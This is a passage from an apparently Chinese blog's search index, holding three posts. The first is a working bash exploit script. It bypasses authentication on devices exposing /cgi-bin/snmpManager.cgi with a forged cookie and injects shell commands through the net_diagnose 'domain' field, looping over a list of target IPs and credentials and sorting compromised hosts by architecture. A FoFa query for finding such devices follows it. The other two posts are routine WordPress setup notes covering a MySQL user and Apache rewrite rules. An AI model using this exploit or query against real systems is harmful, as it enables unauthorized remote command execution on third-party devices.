bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment">#这个版本利用rce-ok文件中ip直接执行命令</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;e.g: ./exp.sh  filename-rce-ok  &quot;</span></span><br><span class="line">FileName=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line"><span class="built_in">rm</span> -f hydra.restore</span><br><span class="line">PassFile=<span class="string">&quot;v1pass.txt&quot;</span></span><br><span class="line">random=$(<span class="built_in">cat</span> /dev/urandom | sed <span class="string">&quot;s/[^a-zA-Z0-9]//g&quot;</span> | strings -n 5 | <span class="built_in">head</span> -n 1)</span><br><span class="line">COMMAND=<span class="string">&quot; uname -a&quot;</span></span><br><span class="line">post_cmd=<span class="string">&quot;cgimodule=net_diagnose&amp;diagnose_type=0&amp;domain=%7C&quot;</span></span><br><span class="line">post_getdata=<span class="string">&quot;cgimodule=ajax_diagnose&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> <span class="variable">$FileName</span>`</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  rhost=`<span class="built_in">echo</span> <span class="variable">$i</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span>`</span><br><span class="line">  Username=`<span class="built_in">echo</span> <span class="variable">$i</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>`</span><br><span class="line">  Password=`<span class="built_in">echo</span> <span class="variable">$i</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span>`</span><br><span class="line">  <span class="built_in">echo</span> -------------------</span><br><span class="line">  whatweb <span class="variable">$rhost</span></span><br><span class="line">  url=<span class="variable">$rhost</span>/cgi-bin/snmpManager.cgi</span><br><span class="line">  url_login=<span class="variable">$&#123;url&#125;</span>?cgimodule=login</span><br><span class="line">  url_rce=<span class="variable">$&#123;url&#125;</span>?cgimodule=net_diagnose</span><br><span class="line">  cookies_bypass=<span class="string">&quot;name=admin domain=<span class="variable">$random</span> language=0 sessionid=0  path=&quot;</span></span><br><span class="line">  curl -s -o /dev/null --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span>  -d <span class="variable">$post_cmd</span>+<span class="built_in">id</span> <span class="variable">$url_rce</span></span><br><span class="line">  curl -s -o tmp/exp_log.txt --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="variable">$post_getdata</span> <span class="variable">$url</span></span><br><span class="line">  <span class="keyword">if</span> grep uid tmp/exp_log.txt &gt;/dev/null 2&gt;&amp;1 ; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> 执行命令 <span class="variable">$COMMAND</span></span><br><span class="line">    curl -s -o /dev/null --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="string">&quot;<span class="variable">$post_cmd</span>+<span class="variable">$COMMAND</span>&quot;</span> <span class="variable">$url_rce</span></span><br><span class="line">    curl -s -o tmp/rce-data --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="variable">$post_getdata</span>  <span class="variable">$url</span></span><br><span class="line">    <span class="keyword">if</span> grep mips tmp/rce-data &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-mips</span><br><span class="line">      <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">      <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">      <span class="keyword">elif</span>  grep i686 tmp/rce-data &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-i686</span><br><span class="line">        <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-x86_64</span><br><span class="line">      <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    post_auth=<span class="string">&quot;cgimodule=login&amp;username=<span class="variable">$Username</span>&amp;passwd=<span class="variable">$Password</span>&amp;language=2&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> 执行命令 <span class="variable">$COMMAND</span></span><br><span class="line">    curl -s -o /dev/null -m 5 -c tmp/gbcookies.txt -d <span class="variable">$post_auth</span> <span class="variable">$url_login</span></span><br><span class="line">    curl -s -o /dev/null -m 5 -b tmp/gbcookies.txt -d <span class="string">&quot;<span class="variable">$post_cmd</span>+<span class="variable">$COMMAND</span>&quot;</span> <span class="variable">$url_rce</span></span><br><span class="line">    curl -s -o tmp/rce-data -m 5 -b tmp/gbcookies.txt -d <span class="variable">$post_getdata</span> <span class="variable">$url</span></span><br><span class="line">    <span class="built_in">echo</span> -e <span class="string">&quot;\033[33m User:<span class="variable">$Username</span> Pass:<span class="variable">$Password</span> \033[0m&quot;</span></span><br><span class="line">    <span class="keyword">if</span> grep mips tmp/rce-data &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-mips</span><br><span class="line">      <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">      <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">      <span class="keyword">elif</span>  grep i686 tmp/rce-data &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-i686</span><br><span class="line">        <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">cat</span> tmp/rce-data</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;\n&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$rhost</span> &gt;&gt; <span class="variable">$FileName</span>-rce-x86_64</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">  <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>FoFa 搜索语句</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">&quot;/cgi-bin/snmpManager.cgi&quot;</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> rce </tag>
            
            <tag> diagnose </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Mysql创建wordpress数据库并安装wordpress</title>
      <link href="/archives/web/wordpres-mysql.html"/>
      <url>/archives/web/wordpres-mysql.html</url>
      
        <content type="html"><![CDATA[<p>mysql创建一个wordpress使用的用户，数据库，并赋予权限的命令</p><ul><li>创建用户</li></ul><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">create</span> <span class="keyword">user</span> wordpress<span class="variable">@localhost</span> identified <span class="keyword">by</span> <span class="string">&#x27;123456&#x27;</span>;</span><br></pre></td></tr></table></figure><ul><li>创建数据库</li></ul><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">create</span> database wordpress;</span><br></pre></td></tr></table></figure><ul><li>赋予用户数据库权限</li></ul><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">grant</span> <span class="keyword">all</span> <span class="keyword">on</span> wordpress.<span class="operator">*</span> <span class="keyword">to</span> <span class="string">&#x27;wordpress&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> <span class="keyword">with</span> <span class="keyword">grant</span> option;</span><br></pre></td></tr></table></figure><ul><li><p>安装</p><p>wp-content 给予 写入权限，上传图片写入此目录</p></li></ul>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> wordpress </tag>
            
            <tag> mysql </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>WordPress 使用固定链接404错误</title>
      <link href="/archives/web/wordpress-404.html"/>
      <url>/archives/web/wordpress-404.html</url>
      
        <content type="html"><![CDATA[<p>环境 wordpress + apache2 +mysql</p><h2 id="一、开启apache2的重写规则"><a href="#一、开启apache2的重写规则" class="headerlink" title="一、开启apache2的重写规则"></a>一、开启apache2的重写规则</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> a2enmode rewrite</span><br></pre></td></tr></table></figure><p>或者，也可以通过软连接启用 Mod_rewrite 模块（apache默认是加载了的，进入目录执行 ll 可查看）。两者二选一。用指令操作就是：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">ln</span> -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled/rewrite.load</span><br></pre></td></tr></table></figure><p>2、打开apache2配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/apache2/apache2.conf</span><br></pre></td></tr></table></figure><ul><li>#&#x2F;var&#x2F;www&#x2F;修改为wordpress所在目录</li><li>Options Indexes FollowSymLinks</li><li>AllowOverride None #None改为ALL不然会apache会忽略wordpress目录中的.htaccess文件</li><li>Require all granted</li></ul><h2 id="二、wordpress目录添加-htaccess文件"><a href="#二、wordpress目录添加-htaccess文件" class="headerlink" title="二、wordpress目录添加.htaccess文件"></a>二、wordpress目录添加.htaccess文件</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">RewriteEngine</span> <span class="string">On</span></span><br><span class="line"><span class="string">RewriteBase</span> <span class="string">/wordpress/</span></span><br><span class="line"><span class="string">RewriteRule</span> <span class="string">^index\.php$</span> <span class="bullet">-</span> [<span class="string">L</span>]</span><br><span class="line"><span class="string">RewriteCond</span> <span class="string">%&#123;REQUEST_FILENAME&#125;</span> <span class="string">!-f</span></span><br><span class="line"><span class="string">RewriteCond</span> <span class="string">%&#123;REQUEST_FILENAME&#125;</span> <span class="string">!-d</span></span><br><span class="line"><span class="string">RewriteRule</span> <span class="string">.</span> <span class="string">/wordpress/index.php</span> [<span class="string">L</span>]</span><br></pre></td></tr></table></figure><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">services apache2 restart</span><br></pre></td></tr></table></figure><blockquote><p>后记:</p></blockquote><p>尽量修改网站目录文件拥有者权限为 www<br>比如linux</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R www-data:www-data wordpress/</span><br></pre></td></tr></table></figure><p>网站会自己修改.htccess文件</p>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> wordpress </tag>
            
            <tag> 404 </tag>
            
        </tags>
      
    </entry>
    
    
  
  
</search>
